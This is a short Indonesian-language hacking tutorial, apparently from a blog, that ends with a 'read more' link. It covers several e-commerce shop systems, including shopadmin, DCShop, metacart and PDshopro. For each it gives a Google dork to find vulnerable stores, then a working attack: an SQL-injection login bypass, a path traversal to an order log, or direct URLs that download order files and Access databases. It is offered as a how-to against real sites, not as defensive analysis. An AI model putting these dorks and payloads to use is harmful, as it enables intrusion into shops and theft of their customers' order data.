1. contoh bugs pada bentuk toko sistem
shopadmin :
contoh toko akan muncul di search engine bila
mengetikan beberapa
keyword, seperti :
Ketik google.com
:--> allinurl:/shopadmin.asp
Contoh target :
www.xxxxxx.com/shopadmin.asp Kelemahan sistem
ini bila penjahat memasukan kode injection seperti :
user : 'or'1
pass : 'or'1
2. contoh bugs pada bentuk toko sistem : Index CGI
contoh toko akan muncul di search engine bila mengetikan beberapa
keyword, seperti :
google.com : Ketik -->
allinurl:/store/index.cgi/page=
Contoh target :
www.xxxxxx.com/cgi-bin/store/index.cgi?page=short_blue.htm
Hapus short_blue.htm dan ganti dengan -->
../admin/files/order.log
Hasilnya:
www.xxxxxxx.com/cgi-bin/store/index.cgi?page=../admin/files/
order.log
3. contoh bugs pada bentuk toko sistem :
metacart
contoh toko akan muncul di search engine bila mengetikan
beberapa
keyword, seperti :
google.com
allinurl:/metacart/
Contoh target :
www.xxxxxx.com/metacart/about.asp Hapus
moreinfo.asp dan ganti dengan --> /database/metacart.mdb
Hasilnya : /
www.xxxxxx.com/metacart/database/metacart.mdb
--------------------------

advertising---------------------------
4.
contoh bugs pada bentuk toko sistem :DCShop
contoh toko akan
muncul di search engine bila mengetikan beberapa
keyword, seperti
:
google.com : Ketik --> allinurl:/DCShop/
Contoh :
www.xxxxxx.com/xxxx/DCShop/xxxx
Hapus /DCShop/xxxx dan ganti dengan --> /DCShop/orders/orders.txt
atau /DCShop/Orders/orders.txt
Hasilnya :
www.xxxx.com/xxxx/DCShop/orders/orders.txt 5.
contoh bugs pada bentuk toko sistem : PDshopro
contoh toko akan
muncul di search engine bila mengetikan beberapa
keyword, seperti
:
google.com : Ketik --> allinurl:/shop/category.asp/catid=
Contoh :
www.xxxxx.com/shop/category.asp/catid=xxxxxx
Hapus /shop/category.asp/catid=xxxxx dang ganti dengan -->
/admin/
dbsetup.asp
Hasilnya :
www.xxxxxx.com/admin/dbsetup.asp Dari
keterangan diatas , kita dapati file databasenya dgn nama
sdatapdshoppro.mdb
Download file sdatapdshoppro.mdb dengan
merubah url nya menjadi
www.xxxxxx.com/data/pdshoppro.mdb Buka file
tsb pakai Microsoft Acces (karena untuk membaca database
access.mdb sebaiknya pake ms access aja)
6. contoh bugs pada
bentuk toko sistem : commerceSQL
contoh toko akan muncul di
search engine bila mengetikan beberapa
keyword, seperti
........... Baca
selanjutnya>>>